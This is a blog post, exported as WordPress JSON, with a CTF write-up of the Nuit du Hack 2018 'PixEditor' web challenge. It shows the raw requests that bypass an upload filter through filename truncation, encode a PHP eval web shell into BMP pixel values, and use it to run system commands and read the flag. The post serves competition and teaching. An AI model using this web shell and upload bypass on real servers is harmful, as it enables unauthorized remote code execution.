{"id":2410,"date":"2018-04-01T16:19:22","date_gmt":"2018-04-01T14:19:22","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=2410"},"modified":"2018-04-01T16:50:46","modified_gmt":"2018-04-01T14:50:46","slug":"ctf-ndh-2018-quals-write-up-web-pixeditor","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/rce\/ctf-ndh-2018-quals-write-up-web-pixeditor\/","title":{"rendered":"[CTF NDH 2018 Quals] Write-Up \u2013 Web : PixEditor"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>Write-up of the challenge \u201cWeb \u2013 PixEditor\u201d of Nuit du\u00a0Hack 2018 CTF qualifications.<\/strong><\/p>\n<p>The weekend of 03\/31\/2018 is pre-qualification for the <strong><a href=\"https:\/\/nuitduhack.com\/fr\/\" target=\"_blank\" rel=\"noopener\">Nuit du Hack 2018<\/a><\/strong>\u00a0as a <strong>Jeopardy CTF<\/strong>. Having had the opportunity and the time to participate with some colleagues and friends, here\u2019s a write-up resolution of the challenges which we could participate.<\/p>\n<ul>\n<li>Category: <strong>Web<\/strong><\/li>\n<li>Name: <strong>PixEditor<\/strong><\/li>\n<li>Description : <em>Create your own pixel art with this powerful tool.<\/em><\/li>\n<li>URL :\u00a0http:\/\/pixeditor.challs.malice.fr\/<\/li>\n<li>Points : <strong>350<\/strong><\/li>\n<\/ul>\n<p>This webapp can be used to draw a picture pixel per pixel and save this picture on the webserver with a selected format (JPG, BMP&#8230;).<\/p>\n<p>Webapp main page :<\/p>\n<div id=\"attachment_2411\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/PixEditor2.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2411\" class=\"size-medium wp-image-2411\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/PixEditor2-300x220.png\" alt=\"PixEditor drawing\" width=\"300\" height=\"220\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/PixEditor2-300x220.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/PixEditor2-768x564.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/PixEditor2-1024x752.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/PixEditor2.png 1121w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2411\" class=\"wp-caption-text\">PixEditor drawing<\/p><\/div>\n<p>By analyzing HTTP request when we save the picture, we can see that pixel-decimal values are sent through &#8220;data&#8221; POST parameter. We choose the <strong>BMP<\/strong> format for pure pixel-value without any compression nor transformation.<\/p>\n<pre>POST \/save.php HTTP\/1.1\r\nHost: pixeditor.challs.malice.fr\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.04\r\nAccept: *\/*\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nReferer: http:\/\/pixeditor.challs.malice.fr\/\r\nContent-Length: 12389\r\nConnection: close\r\n\r\ndata=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...]\u00a0100,99,98,97,255,0,0,255]&amp;name=image.bmp&amp;format=BMP<\/pre>\n<p>The name of the image (filename) is defined in POST parameter too. We tried several extension bypass like &#8220;.php&#8221;, &#8220;.php%00.bmp&#8221;, with CRLF, double-extension, nullbytes&#8230; Without any success (protection in place).<\/p>\n<p>Then, we found the &#8220;\/js\/pixeditor.js&#8221; script link in the main HTML page. In this script, there is an interesting information about filename. They are truncated at 50 chars :<\/p>\n<div id=\"attachment_2422\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/01-4.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2422\" class=\"wp-image-2422 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/01-4-300x175.png\" alt=\"Filename truncated\" width=\"300\" height=\"175\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/01-4-300x175.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/01-4-768x449.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/01-4.png 852w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2422\" class=\"wp-caption-text\">Filename truncated<\/p><\/div>\n<p>We can now try to put a filename of 54 char with the extension &#8220;.php.bmp&#8221;. So the last 4 chars (.bmp) will be truncated :<\/p>\n<pre>POST \/save.php HTTP\/1.1\r\nHost: pixeditor.challs.malice.fr\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.04\r\nAccept: *\/*\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nReferer: http:\/\/pixeditor.challs.malice.fr\/\r\nContent-Length: 12389\r\nConnection: close\r\n\r\ndata=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...]\u00a0100,99,98,97,255,0,0,255]&amp;name=&amp;name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&amp;format=BMP<\/pre>\n<p>Perfect ! The &#8220;.bmp&#8221; extension is truncated and our PHP file is uploaded (with BMP content) :<\/p>\n<pre>http:\/\/pixeditor.challs.malice.fr\/images\/38db8710b841ada4658682b357c35ccdc55445016cad930d0a4da1bd1220bc13\/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php<\/pre>\n<p>This PHP file displays our BMP content as raw :<\/p>\n<pre>BM6\f6( \u0001\u0018\f???????????? [...]\u00a0????????????????<\/pre>\n<p>We need to inject in pixel-values a valid PHP code. Our PHP payload wanted is :<\/p>\n<pre>&lt;?php eval($_GET[\"x\"]);?&gt;<\/pre>\n<p>Each pixel of the picture has a value between 0 to 255 (decimal value). So we can use a pattern and check which chars of this pattern are reflected and in which order in the final picture saved. Our pattern is :<\/p>\n<pre>abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ<\/pre>\n<p>Convert this string into decimal value via <a href=\"https:\/\/www.browserling.com\/tools\/text-to-decimal\" target=\"_blank\" rel=\"noopener\">online tool<\/a> :<\/p>\n<pre>97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 48 49 50 51 52 53 54 55 56 57 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90<\/pre>\n<div id=\"attachment_2425\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/02-4.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2425\" class=\"size-medium wp-image-2425\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/02-4-300x258.png\" alt=\"Convert string to dec\" width=\"300\" height=\"258\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/02-4-300x258.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/02-4.png 595w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2425\" class=\"wp-caption-text\">Convert string to dec<\/p><\/div>\n<p>Replace last pixels (0-255) with our decimal value of the pattern (keep BMP header intact) :<\/p>\n<pre>POST \/save.php HTTP\/1.1\r\nHost: pixeditor.challs.malice.fr\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.04\r\nAccept: *\/*\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nReferer: http:\/\/pixeditor.challs.malice.fr\/\r\nContent-Length: 12389\r\nConnection: close\r\n\r\ndata=[255,0,0,255,255 [...]\u00a090,89,88,87,86,85,84,83,82,81,80,79,78,77,76,75,74,73,72,71,70,69,68,67,66,65,58,57,56,55,54,53,52,51,50,49,48,122,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&amp;name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&amp;format=BMP<\/pre>\n<p>The PHP-image file is saved on the server successfully. When consulted, the page display :<\/p>\n<pre>BM6\f6( \u0001\u0018\f???????????????YZ?UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd?????????????????<\/pre>\n<p>We observed a reflection of several part of our pattern, group by 3 chars and reversed. Several chars are missing.<\/p>\n<p>So from the reflected pattern\u00a0&#8220;UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd&#8221; we can replace their decimal values by decimal values of our payload.<\/p>\n<pre>Pattern reflected:\r\nUVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd\r\n\r\nPattern reflected decimal:\r\n85 86 87 81 82 83 77 78 79 73 74 75 69 70 71 65 66 67 55 56 57 51 52 53 122 48 49 118 119 120 114 115 106 110 111 112 106 107 108 102 103 104 98 99 100 \r\n\r\nPayload PHP :\r\n&lt;?php eval($_GET[\"x\"]);?&gt;\r\n\r\nPayload PHP decimal:\r\n60 63 112 104 112 32 101 118 97 108 40 36 95 71 69 84 91 34 120 34 93 41 59 63 62<\/pre>\n<p>The &#8220;U&#8221; (85) became &#8220;60&#8221; (&lt;), &#8220;V&#8221; (86) became &#8220;63&#8221; (?) etc.<\/p>\n<p>Which produce the next decimal values of pixels with our PHP payload &#8220;&lt;?php eval($_GET[&#8220;x&#8221;]);?&gt;&#8221; :<\/p>\n<pre>POST \/save.php HTTP\/1.1\r\nHost: pixeditor.challs.malice.fr\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.04\r\nAccept: *\/*\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nReferer: http:\/\/pixeditor.challs.malice.fr\/\r\nContent-Length: 12395\r\nConnection: close\r\n\r\ndata=[255,0,0,255,255 [...]\u00a0255,90,89,88,112,63,60,84,32,112,104,80,97,118,101,76,36,40,108,72,69,71,95,68,34,91,84,58,93,34,120,54,63,59,41,50,49,48,62,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&amp;name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.png&amp;format=BMP<\/pre>\n<p>The PHP-picture with our payload injected is syntaxically valide and saved on the server. Exploit it !<\/p>\n<pre>http:\/\/pixeditor.challs.malice.fr\/images\/e1372d74008602ab0808a5c034edba071c00ecf4442b64284665357d8756430a\/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php?x=system($_GET[\"z\"]);&amp;z=ls -la<\/pre>\n<div id=\"attachment_2426\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel01.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2426\" class=\"size-medium wp-image-2426\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel01-300x126.png\" alt=\"Shell PixEditor\" width=\"300\" height=\"126\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel01-300x126.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel01-768x324.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel01-1024x432.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel01.png 1461w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2426\" class=\"wp-caption-text\">Shell PixEditor<\/p><\/div>\n<p>File &#8220;\/flag&#8221; seems interresting :<\/p>\n<div id=\"attachment_2427\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel02.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2427\" class=\"size-medium wp-image-2427\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel02-300x45.png\" alt=\"Flag PixEditor\" width=\"300\" height=\"45\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel02-300x45.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel02-768x116.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel02-1024x154.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/flagpixel02.png 1760w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2427\" class=\"wp-caption-text\">Flag PixEditor<\/p><\/div>\n<p>Bingo ! Well done Martin \ud83d\ude09<\/p>\n<p>Greeting to the whole team ! :)<\/p>","protected":false},"excerpt":{"rendered":"<p>Write-up of the challenge \u201cWeb \u2013 PixEditor\u201d of Nuit du\u00a0Hack 2018 CTF qualifications. The weekend of 03\/31\/2018 is pre-qualification for [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1963,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[524,523,526,531,516],"tags":[469],"class_list":["post-2410","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-events","category-ndh","category-ndh2k18","category-rce","tag-jeopardy"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2410","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=2410"}],"version-history":[{"count":8,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2410\/revisions"}],"predecessor-version":[{"id":2433,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2410\/revisions\/2433"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1963"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=2410"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=2410"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=2410"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}